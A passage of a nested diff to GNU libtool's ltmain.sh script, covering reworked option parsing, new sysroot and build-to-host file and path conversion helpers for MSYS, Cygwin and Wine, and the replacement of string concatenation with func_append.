-- --tag) test "$#" -eq 0 && func_missing_arg "$opt" && break
-- preserve_args="$preserve_args $opt $1"
-- func_enable_tag "$1" # tagname is set here
-+ --silent|--quiet)
-+ opt_silent=:
-+func_append preserve_args " $opt"
-+ opt_verbose=false
-+ ;;
-+ --verbose|-v)
-+ opt_verbose=:
-+func_append preserve_args " $opt"
-+opt_silent=false
-+ ;;
-+ --tag)
-+ test $# = 0 && func_missing_arg $opt && break
-+ optarg="$1"
-+ opt_tag="$optarg"
-+func_append preserve_args " $opt $optarg"
-+func_enable_tag "$optarg"
- shift
- ;;
-
-+ -\?|-h) func_usage ;;
-+ --help) func_help ;;
-+ --version) func_version ;;
-+
- # Separate optargs to long options:
-- -dlopen=*|--mode=*|--tag=*)
-- func_opt_split "$opt"
-- set dummy "$func_opt_split_opt" "$func_opt_split_arg" ${1+"$@"}
-+ --*=*)
-+ func_split_long_opt "$opt"
-+ set dummy "$func_split_long_opt_name" "$func_split_long_opt_arg" ${1+"$@"}
- shift
- ;;
-
-- -\?|-h) func_usage ;;
-- --help) opt_help=: ;;
-- --help-all) opt_help=': help-all' ;;
-- --version) func_version ;;
--
-- -*) func_fatal_help "unrecognized option \`$opt'" ;;
--
-- *) nonopt="$opt"
-- break
-+ # Separate non-argument short options:
-+ -\?*|-h*|-n*|-v*)
-+ func_split_short_opt "$opt"
-+ set dummy "$func_split_short_opt_name" "-$func_split_short_opt_arg" ${1+"$@"}
-+ shift
- ;;
-+
-+ --) break ;;
-+ -*) func_fatal_help "unrecognized option \`$opt'" ;;
-+ *) set dummy "$opt" ${1+"$@"}; shift; break ;;
- esac
- done
-
-+ # Validate options:
-+
-+ # save first non-option argument
-+ if test "$#" -gt 0; then
-+ nonopt="$opt"
-+ shift
-+ fi
-+
-+ # preserve --debug
-+ test "$opt_debug" = : || func_append preserve_args " --debug"
-
- case $host in
- *cygwin* | *mingw* | *pw32* | *cegcc* | *solaris2* )
-@@ -981,82 +1184,44 @@ func_enable_tag ()
- opt_duplicate_compiler_generated_deps=:
- ;;
- *)
-- opt_duplicate_compiler_generated_deps=$opt_duplicate_deps
-+ opt_duplicate_compiler_generated_deps=$opt_preserve_dup_deps
- ;;
- esac
-
-- # Having warned about all mis-specified options, bail out if
-- # anything was wrong.
-- $exit_cmd $EXIT_FAILURE
--}
-+ $opt_help || {
-+ # Sanity checks first:
-+ func_check_version_match
-
--# func_check_version_match
--# Ensure that we are using m4 macros, and libtool script from the same
--# release of libtool.
--func_check_version_match ()
--{
-- if test "$package_revision" != "$macro_revision"; then
-- if test "$VERSION" != "$macro_version"; then
-- if test -z "$macro_version"; then
-- cat >&2 <<_LT_EOF
--$progname: Version mismatch error. This is $PACKAGE $VERSION, but the
--$progname: definition of this LT_INIT comes from an older release.
--$progname: You should recreate aclocal.m4 with macros from $PACKAGE $VERSION
--$progname: and run autoconf again.
--_LT_EOF
-- else
-- cat >&2 <<_LT_EOF
--$progname: Version mismatch error. This is $PACKAGE $VERSION, but the
--$progname: definition of this LT_INIT comes from $PACKAGE $macro_version.
--$progname: You should recreate aclocal.m4 with macros from $PACKAGE $VERSION
--$progname: and run autoconf again.
--_LT_EOF
-- fi
-- else
-- cat >&2 <<_LT_EOF
--$progname: Version mismatch error. This is $PACKAGE $VERSION, revision $package_revision,
--$progname: but the definition of this LT_INIT comes from revision $macro_revision.
--$progname: You should recreate aclocal.m4 with macros from revision $package_revision
--$progname: of $PACKAGE $VERSION and run autoconf again.
--_LT_EOF
-+ if test "$build_libtool_libs" != yes && test "$build_old_libs" != yes; then
-+ func_fatal_configuration "not configured to build any kind of library"
- fi
-
-- exit $EXIT_MISMATCH
-- fi
--}
--
-+ # Darwin sucks
-+ eval std_shrext=\"$shrext_cmds\"
-
--## ----------- ##
--## Main. ##
--## ----------- ##
--
--$opt_help || {
-- # Sanity checks first:
-- func_check_version_match
--
-- if test "$build_libtool_libs" != yes && test "$build_old_libs" != yes; then
-- func_fatal_configuration "not configured to build any kind of library"
-- fi
-+ # Only execute mode is allowed to have -dlopen flags.
-+ if test -n "$opt_dlopen" && test "$opt_mode" != execute; then
-+ func_error "unrecognized option \`-dlopen'"
-+ $ECHO "$help" 1>&2
-+ exit $EXIT_FAILURE
-+ fi
-
-- test -z "$mode" && func_fatal_error "error: you must specify a MODE."
-+ # Change the help message to a mode-specific one.
-+ generic_help="$help"
-+ help="Try \`$progname --help --mode=$opt_mode' for more information."
-+ }
-
-
-- # Darwin sucks
-- eval "std_shrext=\"$shrext_cmds\""
-+ # Bail if the options were screwed
-+ $exit_cmd $EXIT_FAILURE
-+}
-
-
-- # Only execute mode is allowed to have -dlopen flags.
-- if test -n "$execute_dlfiles" && test "$mode" != execute; then
-- func_error "unrecognized option \`-dlopen'"
-- $ECHO "$help" 1>&2
-- exit $EXIT_FAILURE
-- fi
-
-- # Change the help message to a mode-specific one.
-- generic_help="$help"
-- help="Try \`$progname --help --mode=$mode' for more information."
--}
-
-+## ----------- ##
-+## Main. ##
-+## ----------- ##
-
- # func_lalib_p file
- # True iff FILE is a libtool `.la' library or `.lo' object file.
-@@ -1121,12 +1286,9 @@ func_ltwrapper_executable_p ()
- # temporary ltwrapper_script.
- func_ltwrapper_scriptname ()
- {
-- func_ltwrapper_scriptname_result=""
-- if func_ltwrapper_executable_p "$1"; then
-- func_dirname_and_basename "$1" "" "."
-- func_stripname '' '.exe' "$func_basename_result"
-- func_ltwrapper_scriptname_result="$func_dirname_result/$objdir/${func_stripname_result}_ltshwrapper"
-- fi
-+ func_dirname_and_basename "$1" "" "."
-+ func_stripname '' '.exe' "$func_basename_result"
-+ func_ltwrapper_scriptname_result="$func_dirname_result/$objdir/${func_stripname_result}_ltshwrapper"
- }
-
- # func_ltwrapper_p file
-@@ -1149,7 +1311,7 @@ func_execute_cmds ()
- save_ifs=$IFS; IFS='~'
- for cmd in $1; do
- IFS=$save_ifs
-- eval "cmd=\"$cmd\""
-+ eval cmd=\"$cmd\"
- func_show_eval "$cmd" "${2-:}"
- done
- IFS=$save_ifs
-@@ -1172,6 +1334,37 @@ func_source ()
- }
-
-
-+# func_resolve_sysroot PATH
-+# Replace a leading = in PATH with a sysroot. Store the result into
-+# func_resolve_sysroot_result
-+func_resolve_sysroot ()
-+{
-+ func_resolve_sysroot_result=$1
-+ case $func_resolve_sysroot_result in
-+ =*)
-+ func_stripname '=' '' "$func_resolve_sysroot_result"
-+ func_resolve_sysroot_result=$lt_sysroot$func_stripname_result
-+ ;;
-+ esac
-+}
-+
-+# func_replace_sysroot PATH
-+# If PATH begins with the sysroot, replace it with = and
-+# store the result into func_replace_sysroot_result.
-+func_replace_sysroot ()
-+{
-+ case "$lt_sysroot:$1" in
-+ ?*:"$lt_sysroot"*)
-+ func_stripname "$lt_sysroot" '' "$1"
-+ func_replace_sysroot_result="=$func_stripname_result"
-+ ;;
-+ *)
-+ # Including no sysroot.
-+ func_replace_sysroot_result=$1
-+ ;;
-+ esac
-+}
-+
- # func_infer_tag arg
- # Infer tagged configuration to use if any are available and
- # if one wasn't chosen via the "--tag" command line option.
-@@ -1184,8 +1377,7 @@ func_infer_tag ()
- if test -n "$available_tags" && test -z "$tagname"; then
- CC_quoted=
- for arg in $CC; do
-- func_quote_for_eval "$arg"
-- CC_quoted="$CC_quoted $func_quote_for_eval_result"
-+ func_append_quoted CC_quoted "$arg"
- done
- CC_expanded=`func_echo_all $CC`
- CC_quoted_expanded=`func_echo_all $CC_quoted`
-@@ -1204,8 +1396,7 @@ func_infer_tag ()
- CC_quoted=
- for arg in $CC; do
- # Double-quote args containing other shell metacharacters.
-- func_quote_for_eval "$arg"
-- CC_quoted="$CC_quoted $func_quote_for_eval_result"
-+ func_append_quoted CC_quoted "$arg"
- done
- CC_expanded=`func_echo_all $CC`
- CC_quoted_expanded=`func_echo_all $CC_quoted`
-@@ -1274,6 +1465,486 @@ EOF
- }
- }
-
-+
-+##################################################
-+# FILE NAME AND PATH CONVERSION HELPER FUNCTIONS #
-+##################################################
-+
-+# func_convert_core_file_wine_to_w32 ARG
-+# Helper function used by file name conversion functions when $build is *nix,
-+# and $host is mingw, cygwin, or some other w32 environment. Relies on a
-+# correctly configured wine environment available, with the winepath program
-+# in $build's $PATH.
-+#
-+# ARG is the $build file name to be converted to w32 format.
-+# Result is available in $func_convert_core_file_wine_to_w32_result, and will
-+# be empty on error (or when ARG is empty)
-+func_convert_core_file_wine_to_w32 ()
-+{
-+ $opt_debug
-+ func_convert_core_file_wine_to_w32_result="$1"
-+ if test -n "$1"; then
-+ # Unfortunately, winepath does not exit with a non-zero error code, so we
-+ # are forced to check the contents of stdout. On the other hand, if the
-+ # command is not found, the shell will set an exit code of 127 and print
-+ # *an error message* to stdout. So we must check for both error code of
-+ # zero AND non-empty stdout, which explains the odd construction:
-+ func_convert_core_file_wine_to_w32_tmp=`winepath -w "$1" 2>/dev/null`
-+ if test "$?" -eq 0 && test -n "${func_convert_core_file_wine_to_w32_tmp}"; then
-+ func_convert_core_file_wine_to_w32_result=`$ECHO "$func_convert_core_file_wine_to_w32_tmp" |
-+ $SED -e "$lt_sed_naive_backslashify"`
-+ else
-+ func_convert_core_file_wine_to_w32_result=
-+ fi
-+ fi
-+}
-+# end: func_convert_core_file_wine_to_w32
-+
-+
-+# func_convert_core_path_wine_to_w32 ARG
-+# Helper function used by path conversion functions when $build is *nix, and
-+# $host is mingw, cygwin, or some other w32 environment. Relies on a correctly
-+# configured wine environment available, with the winepath program in $build's
-+# $PATH. Assumes ARG has no leading or trailing path separator characters.
-+#
-+# ARG is path to be converted from $build format to win32.
-+# Result is available in $func_convert_core_path_wine_to_w32_result.
-+# Unconvertible file (directory) names in ARG are skipped; if no directory names
-+# are convertible, then the result may be empty.
-+func_convert_core_path_wine_to_w32 ()
-+{
-+ $opt_debug
-+ # unfortunately, winepath doesn't convert paths, only file names
-+ func_convert_core_path_wine_to_w32_result=""
-+ if test -n "$1"; then
-+ oldIFS=$IFS
-+ IFS=:
-+ for func_convert_core_path_wine_to_w32_f in $1; do
-+ IFS=$oldIFS
-+ func_convert_core_file_wine_to_w32 "$func_convert_core_path_wine_to_w32_f"
-+ if test -n "$func_convert_core_file_wine_to_w32_result" ; then
-+ if test -z "$func_convert_core_path_wine_to_w32_result"; then
-+ func_convert_core_path_wine_to_w32_result="$func_convert_core_file_wine_to_w32_result"
-+ else
-+ func_append func_convert_core_path_wine_to_w32_result ";$func_convert_core_file_wine_to_w32_result"
-+ fi
-+ fi
-+ done
-+ IFS=$oldIFS
-+ fi
-+}
-+# end: func_convert_core_path_wine_to_w32
-+
-+
-+# func_cygpath ARGS...
-+# Wrapper around calling the cygpath program via LT_CYGPATH. This is used when
-+# when (1) $build is *nix and Cygwin is hosted via a wine environment; or (2)
-+# $build is MSYS and $host is Cygwin, or (3) $build is Cygwin. In case (1) or
-+# (2), returns the Cygwin file name or path in func_cygpath_result (input
-+# file name or path is assumed to be in w32 format, as previously converted
-+# from $build's *nix or MSYS format). In case (3), returns the w32 file name
-+# or path in func_cygpath_result (input file name or path is assumed to be in
-+# Cygwin format). Returns an empty string on error.
-+#
-+# ARGS are passed to cygpath, with the last one being the file name or path to
-+# be converted.
-+#
-+# Specify the absolute *nix (or w32) name to cygpath in the LT_CYGPATH
-+# environment variable; do not put it in $PATH.
-+func_cygpath ()
-+{
-+ $opt_debug
-+ if test -n "$LT_CYGPATH" && test -f "$LT_CYGPATH"; then
-+ func_cygpath_result=`$LT_CYGPATH "$@" 2>/dev/null`
-+ if test "$?" -ne 0; then
-+ # on failure, ensure result is empty
-+ func_cygpath_result=
-+ fi
-+ else
-+ func_cygpath_result=
-+ func_error "LT_CYGPATH is empty or specifies non-existent file: \`$LT_CYGPATH'"
-+ fi
-+}
-+#end: func_cygpath
-+
-+
-+# func_convert_core_msys_to_w32 ARG
-+# Convert file name or path ARG from MSYS format to w32 format. Return
-+# result in func_convert_core_msys_to_w32_result.
-+func_convert_core_msys_to_w32 ()
-+{
-+ $opt_debug
-+ # awkward: cmd appends spaces to result
-+ func_convert_core_msys_to_w32_result=`( cmd //c echo "$1" ) 2>/dev/null |
-+ $SED -e 's/[ ]*$//' -e "$lt_sed_naive_backslashify"`
-+}
-+#end: func_convert_core_msys_to_w32
-+
-+
-+# func_convert_file_check ARG1 ARG2
-+# Verify that ARG1 (a file name in $build format) was converted to $host
-+# format in ARG2. Otherwise, emit an error message, but continue (resetting
-+# func_to_host_file_result to ARG1).
-+func_convert_file_check ()
-+{
-+ $opt_debug
-+ if test -z "$2" && test -n "$1" ; then
-+ func_error "Could not determine host file name corresponding to"
-+ func_error " \`$1'"
-+ func_error "Continuing, but uninstalled executables may not work."
-+ # Fallback:
-+ func_to_host_file_result="$1"
-+ fi
-+}
-+# end func_convert_file_check
-+
-+
-+# func_convert_path_check FROM_PATHSEP TO_PATHSEP FROM_PATH TO_PATH
-+# Verify that FROM_PATH (a path in $build format) was converted to $host
-+# format in TO_PATH. Otherwise, emit an error message, but continue, resetting
-+# func_to_host_file_result to a simplistic fallback value (see below).
-+func_convert_path_check ()
-+{
-+ $opt_debug
-+ if test -z "$4" && test -n "$3"; then
-+ func_error "Could not determine the host path corresponding to"
-+ func_error " \`$3'"
-+ func_error "Continuing, but uninstalled executables may not work."
-+ # Fallback. This is a deliberately simplistic "conversion" and
-+ # should not be "improved". See libtool.info.
-+ if test "x$1" != "x$2"; then
-+ lt_replace_pathsep_chars="s|$1|$2|g"
-+ func_to_host_path_result=`echo "$3" |
-+ $SED -e "$lt_replace_pathsep_chars"`
-+ else
-+ func_to_host_path_result="$3"
-+ fi
-+ fi
-+}
-+# end func_convert_path_check
-+
-+
-+# func_convert_path_front_back_pathsep FRONTPAT BACKPAT REPL ORIG
-+# Modifies func_to_host_path_result by prepending REPL if ORIG matches FRONTPAT
-+# and appending REPL if ORIG matches BACKPAT.
-+func_convert_path_front_back_pathsep ()
-+{
-+ $opt_debug
-+ case $4 in
-+ $1 ) func_to_host_path_result="$3$func_to_host_path_result"
-+ ;;
-+ esac
-+ case $4 in
-+ $2 ) func_append func_to_host_path_result "$3"
-+ ;;
-+ esac
-+}
-+# end func_convert_path_front_back_pathsep
-+
-+
-+##################################################
-+# $build to $host FILE NAME CONVERSION FUNCTIONS #
-+##################################################
-+# invoked via `$to_host_file_cmd ARG'
-+#
-+# In each case, ARG is the path to be converted from $build to $host format.
-+# Result will be available in $func_to_host_file_result.
-+
-+
-+# func_to_host_file ARG
-+# Converts the file name ARG from $build format to $host format. Return result
-+# in func_to_host_file_result.
-+func_to_host_file ()
-+{
-+ $opt_debug
-+ $to_host_file_cmd "$1"
-+}
-+# end func_to_host_file
-+
-+
-+# func_to_tool_file ARG LAZY
-+# converts the file name ARG from $build format to toolchain format. Return
-+# result in func_to_tool_file_result. If the conversion in use is listed
-+# in (the comma separated) LAZY, no conversion takes place.
-+func_to_tool_file ()
-+{
-+ $opt_debug
-+ case ,$2, in
-+ *,"$to_tool_file_cmd",*)
-+ func_to_tool_file_result=$1
-+ ;;
-+ *)
-+ $to_tool_file_cmd "$1"
-+ func_to_tool_file_result=$func_to_host_file_result
-+ ;;
-+ esac
-+}
-+# end func_to_tool_file
-+
-+
-+# func_convert_file_noop ARG
-+# Copy ARG to func_to_host_file_result.
-+func_convert_file_noop ()
-+{
-+ func_to_host_file_result="$1"
-+}
-+# end func_convert_file_noop
-+
-+
-+# func_convert_file_msys_to_w32 ARG
-+# Convert file name ARG from (mingw) MSYS to (mingw) w32 format; automatic
-+# conversion to w32 is not available inside the cwrapper. Returns result in
-+# func_to_host_file_result.
-+func_convert_file_msys_to_w32 ()
-+{
-+ $opt_debug
-+ func_to_host_file_result="$1"
-+ if test -n "$1"; then
-+ func_convert_core_msys_to_w32 "$1"
-+ func_to_host_file_result="$func_convert_core_msys_to_w32_result"
-+ fi
-+ func_convert_file_check "$1" "$func_to_host_file_result"
-+}
-+# end func_convert_file_msys_to_w32
-+
-+
-+# func_convert_file_cygwin_to_w32 ARG
-+# Convert file name ARG from Cygwin to w32 format. Returns result in
-+# func_to_host_file_result.
-+func_convert_file_cygwin_to_w32 ()
-+{
-+ $opt_debug
-+ func_to_host_file_result="$1"
-+ if test -n "$1"; then
-+ # because $build is cygwin, we call "the" cygpath in $PATH; no need to use
-+ # LT_CYGPATH in this case.
-+ func_to_host_file_result=`cygpath -m "$1"`
-+ fi
-+ func_convert_file_check "$1" "$func_to_host_file_result"
-+}
-+# end func_convert_file_cygwin_to_w32
-+
-+
-+# func_convert_file_nix_to_w32 ARG
-+# Convert file name ARG from *nix to w32 format. Requires a wine environment
-+# and a working winepath. Returns result in func_to_host_file_result.
-+func_convert_file_nix_to_w32 ()
-+{
-+ $opt_debug
-+ func_to_host_file_result="$1"
-+ if test -n "$1"; then
-+ func_convert_core_file_wine_to_w32 "$1"
-+ func_to_host_file_result="$func_convert_core_file_wine_to_w32_result"
-+ fi
-+ func_convert_file_check "$1" "$func_to_host_file_result"
-+}
-+# end func_convert_file_nix_to_w32
-+
-+
-+# func_convert_file_msys_to_cygwin ARG
-+# Convert file name ARG from MSYS to Cygwin format. Requires LT_CYGPATH set.
-+# Returns result in func_to_host_file_result.
-+func_convert_file_msys_to_cygwin ()
-+{
-+ $opt_debug
-+ func_to_host_file_result="$1"
-+ if test -n "$1"; then
-+ func_convert_core_msys_to_w32 "$1"
-+ func_cygpath -u "$func_convert_core_msys_to_w32_result"
-+ func_to_host_file_result="$func_cygpath_result"
-+ fi
-+ func_convert_file_check "$1" "$func_to_host_file_result"
-+}
-+# end func_convert_file_msys_to_cygwin
-+
-+
-+# func_convert_file_nix_to_cygwin ARG
-+# Convert file name ARG from *nix to Cygwin format. Requires Cygwin installed
-+# in a wine environment, working winepath, and LT_CYGPATH set. Returns result
-+# in func_to_host_file_result.
-+func_convert_file_nix_to_cygwin ()
-+{
-+ $opt_debug
-+ func_to_host_file_result="$1"
-+ if test -n "$1"; then
-+ # convert from *nix to w32, then use cygpath to convert from w32 to cygwin.
-+ func_convert_core_file_wine_to_w32 "$1"
-+ func_cygpath -u "$func_convert_core_file_wine_to_w32_result"
-+ func_to_host_file_result="$func_cygpath_result"
-+ fi
-+ func_convert_file_check "$1" "$func_to_host_file_result"
-+}
-+# end func_convert_file_nix_to_cygwin
-+
-+
-+#############################################
-+# $build to $host PATH CONVERSION FUNCTIONS #
-+#############################################
-+# invoked via `$to_host_path_cmd ARG'
-+#
-+# In each case, ARG is the path to be converted from $build to $host format.
-+# The result will be available in $func_to_host_path_result.
-+#
-+# Path separators are also converted from $build format to $host format. If
-+# ARG begins or ends with a path separator character, it is preserved (but
-+# converted to $host format) on output.
-+#
-+# All path conversion functions are named using the following convention:
-+# file name conversion function : func_convert_file_X_to_Y ()
-+# path conversion function : func_convert_path_X_to_Y ()
-+# where, for any given $build/$host combination the 'X_to_Y' value is the
-+# same. If conversion functions are added for new $build/$host combinations,
-+# the two new functions must follow this pattern, or func_init_to_host_path_cmd
-+# will break.
-+
-+
-+# func_init_to_host_path_cmd
-+# Ensures that function "pointer" variable $to_host_path_cmd is set to the
-+# appropriate value, based on the value of $to_host_file_cmd.
-+to_host_path_cmd=
-+func_init_to_host_path_cmd ()
-+{
-+ $opt_debug
-+ if test -z "$to_host_path_cmd"; then
-+ func_stripname 'func_convert_file_' '' "$to_host_file_cmd"
-+ to_host_path_cmd="func_convert_path_${func_stripname_result}"
-+ fi
-+}
-+
-+
-+# func_to_host_path ARG
-+# Converts the path ARG from $build format to $host format. Return result
-+# in func_to_host_path_result.
-+func_to_host_path ()
-+{
-+ $opt_debug
-+ func_init_to_host_path_cmd
-+ $to_host_path_cmd "$1"
-+}
-+# end func_to_host_path
-+
-+
-+# func_convert_path_noop ARG
-+# Copy ARG to func_to_host_path_result.
-+func_convert_path_noop ()
-+{
-+ func_to_host_path_result="$1"
-+}
-+# end func_convert_path_noop
-+
-+
-+# func_convert_path_msys_to_w32 ARG
-+# Convert path ARG from (mingw) MSYS to (mingw) w32 format; automatic
-+# conversion to w32 is not available inside the cwrapper. Returns result in
-+# func_to_host_path_result.
-+func_convert_path_msys_to_w32 ()
-+{
-+ $opt_debug
-+ func_to_host_path_result="$1"
-+ if test -n "$1"; then
-+ # Remove leading and trailing path separator characters from ARG. MSYS
-+ # behavior is inconsistent here; cygpath turns them into '.;' and ';.';
-+ # and winepath ignores them completely.
-+ func_stripname : : "$1"
-+ func_to_host_path_tmp1=$func_stripname_result
-+ func_convert_core_msys_to_w32 "$func_to_host_path_tmp1"
-+ func_to_host_path_result="$func_convert_core_msys_to_w32_result"
-+ func_convert_path_check : ";" \
-+ "$func_to_host_path_tmp1" "$func_to_host_path_result"
-+ func_convert_path_front_back_pathsep ":*" "*:" ";" "$1"
-+ fi
-+}
-+# end func_convert_path_msys_to_w32
-+
-+
-+# func_convert_path_cygwin_to_w32 ARG
-+# Convert path ARG from Cygwin to w32 format. Returns result in
-+# func_to_host_file_result.
-+func_convert_path_cygwin_to_w32 ()
-+{
-+ $opt_debug
-+ func_to_host_path_result="$1"
-+ if test -n "$1"; then
-+ # See func_convert_path_msys_to_w32:
-+ func_stripname : : "$1"
-+ func_to_host_path_tmp1=$func_stripname_result
-+ func_to_host_path_result=`cygpath -m -p "$func_to_host_path_tmp1"`
-+ func_convert_path_check : ";" \
-+ "$func_to_host_path_tmp1" "$func_to_host_path_result"
-+ func_convert_path_front_back_pathsep ":*" "*:" ";" "$1"
-+ fi
-+}
-+# end func_convert_path_cygwin_to_w32
-+
-+
-+# func_convert_path_nix_to_w32 ARG
-+# Convert path ARG from *nix to w32 format. Requires a wine environment and
-+# a working winepath. Returns result in func_to_host_file_result.
-+func_convert_path_nix_to_w32 ()
-+{
-+ $opt_debug
-+ func_to_host_path_result="$1"
-+ if test -n "$1"; then
-+ # See func_convert_path_msys_to_w32:
-+ func_stripname : : "$1"
-+ func_to_host_path_tmp1=$func_stripname_result
-+ func_convert_core_path_wine_to_w32 "$func_to_host_path_tmp1"
-+ func_to_host_path_result="$func_convert_core_path_wine_to_w32_result"
-+ func_convert_path_check : ";" \
-+ "$func_to_host_path_tmp1" "$func_to_host_path_result"
-+ func_convert_path_front_back_pathsep ":*" "*:" ";" "$1"
-+ fi
-+}
-+# end func_convert_path_nix_to_w32
-+
-+
-+# func_convert_path_msys_to_cygwin ARG
-+# Convert path ARG from MSYS to Cygwin format. Requires LT_CYGPATH set.
-+# Returns result in func_to_host_file_result.
-+func_convert_path_msys_to_cygwin ()
-+{
-+ $opt_debug
-+ func_to_host_path_result="$1"
-+ if test -n "$1"; then
-+ # See func_convert_path_msys_to_w32:
-+ func_stripname : : "$1"
-+ func_to_host_path_tmp1=$func_stripname_result
-+ func_convert_core_msys_to_w32 "$func_to_host_path_tmp1"
-+ func_cygpath -u -p "$func_convert_core_msys_to_w32_result"
-+ func_to_host_path_result="$func_cygpath_result"
-+ func_convert_path_check : : \
-+ "$func_to_host_path_tmp1" "$func_to_host_path_result"
-+ func_convert_path_front_back_pathsep ":*" "*:" : "$1"
-+ fi
-+}
-+# end func_convert_path_msys_to_cygwin
-+
-+
-+# func_convert_path_nix_to_cygwin ARG
-+# Convert path ARG from *nix to Cygwin format. Requires Cygwin installed in a
-+# a wine environment, working winepath, and LT_CYGPATH set. Returns result in
-+# func_to_host_file_result.
-+func_convert_path_nix_to_cygwin ()
-+{
-+ $opt_debug
-+ func_to_host_path_result="$1"
-+ if test -n "$1"; then
-+ # Remove leading and trailing path separator characters from
-+ # ARG. msys behavior is inconsistent here, cygpath turns them
-+ # into '.;' and ';.', and winepath ignores them completely.
-+ func_stripname : : "$1"
-+ func_to_host_path_tmp1=$func_stripname_result
-+ func_convert_core_path_wine_to_w32 "$func_to_host_path_tmp1"
-+ func_cygpath -u -p "$func_convert_core_path_wine_to_w32_result"
-+ func_to_host_path_result="$func_cygpath_result"
-+ func_convert_path_check : : \
-+ "$func_to_host_path_tmp1" "$func_to_host_path_result"
-+ func_convert_path_front_back_pathsep ":*" "*:" : "$1"
-+ fi
-+}
-+# end func_convert_path_nix_to_cygwin
-+
-+
- # func_mode_compile arg...
- func_mode_compile ()
- {
-@@ -1314,12 +1985,12 @@ func_mode_compile ()
- ;;
-
- -pie | -fpie | -fPIE)
-- pie_flag="$pie_flag $arg"
-+ func_append pie_flag " $arg"
- continue
- ;;
-
- -shared | -static | -prefer-pic | -prefer-non-pic)
-- later="$later $arg"
-+ func_append later " $arg"
- continue
- ;;
-
-@@ -1340,15 +2011,14 @@ func_mode_compile ()
- save_ifs="$IFS"; IFS=','
- for arg in $args; do
- IFS="$save_ifs"
-- func_quote_for_eval "$arg"
-- lastarg="$lastarg $func_quote_for_eval_result"
-+ func_append_quoted lastarg "$arg"
- done
- IFS="$save_ifs"
- func_stripname ' ' '' "$lastarg"
- lastarg=$func_stripname_result
-
- # Add the arguments to base_compile.
-- base_compile="$base_compile $lastarg"
-+ func_append base_compile " $lastarg"
- continue
- ;;
-
-@@ -1364,8 +2034,7 @@ func_mode_compile ()
- esac # case $arg_mode
-
- # Aesthetically quote the previous argument.
-- func_quote_for_eval "$lastarg"
-- base_compile="$base_compile $func_quote_for_eval_result"
-+ func_append_quoted base_compile "$lastarg"
- done # for arg
-
- case $arg_mode in
-@@ -1496,17 +2165,16 @@ compiler."
- $opt_dry_run || $RM $removelist
- exit $EXIT_FAILURE
- fi
-- removelist="$removelist $output_obj"
-+ func_append removelist " $output_obj"
- $ECHO "$srcfile" > "$lockfile"
- fi
-
- $opt_dry_run || $RM $removelist
-- removelist="$removelist $lockfile"
-+ func_append removelist " $lockfile"
- trap '$opt_dry_run || $RM $removelist; exit $EXIT_FAILURE' 1 2 15
-
-- if test -n "$fix_srcfile_path"; then
-- eval "srcfile=\"$fix_srcfile_path\""
-- fi
-+ func_to_tool_file "$srcfile" func_convert_file_msys_to_w32
-+ srcfile=$func_to_tool_file_result
- func_quote_for_eval "$srcfile"
- qsrcfile=$func_quote_for_eval_result
-
-@@ -1526,7 +2194,7 @@ compiler."
-
- if test -z "$output_obj"; then
- # Place PIC objects in $objdir
-- command="$command -o $lobj"
-+ func_append command " -o $lobj"
- fi
-
- func_show_eval_locale "$command" \
-@@ -1573,11 +2241,11 @@ compiler."
- command="$base_compile $qsrcfile $pic_flag"
- fi
- if test "$compiler_c_o" = yes; then
-- command="$command -o $obj"
-+ func_append command " -o $obj"
- fi
-
- # Suppress compiler output if we already did a PIC compilation.
-- command="$command$suppress_output"
-+ func_append command "$suppress_output"
- func_show_eval_locale "$command" \
- '$opt_dry_run || $RM $removelist; exit $EXIT_FAILURE'
-
-@@ -1622,13 +2290,13 @@ compiler."
- }
-
- $opt_help || {
-- test "$mode" = compile && func_mode_compile ${1+"$@"}
-+ test "$opt_mode" = compile && func_mode_compile ${1+"$@"}
- }
-
- func_mode_help ()
- {
- # We need to display help for each of the modes.
-- case $mode in
-+ case $opt_mode in
- "")
- # Generic help is extracted from the usage comments
- # at the start of this file.
-@@ -1659,8 +2327,8 @@ This mode accepts the following additional options:
-
- -o OUTPUT-FILE set the output file name to OUTPUT-FILE
- -no-suppress do not suppress compiler output for multiple passes
-- -prefer-pic try to building PIC objects only
-- -prefer-non-pic try to building non-PIC objects only
-+ -prefer-pic try to build PIC objects only
-+ -prefer-non-pic try to build non-PIC objects only
- -shared do not build a \`.o' file suitable for static linking
- -static only build a \`.o' file suitable for static linking
- -Wc,FLAG pass FLAG directly to the compiler
-@@ -1804,7 +2472,7 @@ Otherwise, only FILE itself is deleted using RM."
- ;;
-
- *)
-- func_fatal_help "invalid operation mode \`$mode'"
-+ func_fatal_help "invalid operation mode \`$opt_mode'"
- ;;
- esac
-
-@@ -1819,13 +2487,13 @@ if $opt_help; then
- else
- {
- func_help noexit
-- for mode in compile link execute install finish uninstall clean; do
-+ for opt_mode in compile link execute install finish uninstall clean; do
- func_mode_help
- done
- } | sed -n '1p; 2,$s/^Usage:/ or: /p'
- {
- func_help noexit
-- for mode in compile link execute install finish uninstall clean; do
-+ for opt_mode in compile link execute install finish uninstall clean; do
- echo
- func_mode_help
- done
-@@ -1854,13 +2522,16 @@ func_mode_execute ()
- func_fatal_help "you must specify a COMMAND"
-
- # Handle -dlopen flags immediately.
-- for file in $execute_dlfiles; do
-+ for file in $opt_dlopen; do
- test -f "$file" \
- || func_fatal_help "\`$file' is not a file"
-
- dir=
- case $file in
- *.la)
-+ func_resolve_sysroot "$file"
-+ file=$func_resolve_sysroot_result
-+
- # Check to see that this really is a libtool archive.
- func_lalib_unsafe_p "$file" \
- || func_fatal_help "\`$lib' is not a valid libtool archive"
-@@ -1882,7 +2553,7 @@ func_mode_execute ()
- dir="$func_dirname_result"
-
- if test -f "$dir/$objdir/$dlname"; then
-- dir="$dir/$objdir"
-+ func_append dir "/$objdir"
- else
- if test ! -f "$dir/$dlname"; then
- func_fatal_error "cannot find \`$dlname' in \`$dir' or \`$dir/$objdir'"
-@@ -1907,10 +2578,10 @@ func_mode_execute ()
- test -n "$absdir" && dir="$absdir"
-
- # Now add the directory to shlibpath_var.
-- if eval test -z \"\$$shlibpath_var\"; then
-- eval $shlibpath_var=\$dir
-+ if eval "test -z \"\$$shlibpath_var\""; then
-+ eval "$shlibpath_var=\"\$dir\""
- else
-- eval $shlibpath_var=\$dir:\$$shlibpath_var
-+ eval "$shlibpath_var=\"\$dir:\$$shlibpath_var\""
- fi
- done
-
-@@ -1939,8 +2610,7 @@ func_mode_execute ()
- ;;
- esac
- # Quote arguments (to preserve shell metacharacters).
-- func_quote_for_eval "$file"
-- args="$args $func_quote_for_eval_result"
-+ func_append_quoted args "$file"
- done
-
- if test "X$opt_dry_run" = Xfalse; then
-@@ -1972,22 +2642,59 @@ func_mode_execute ()
- fi
- }
-
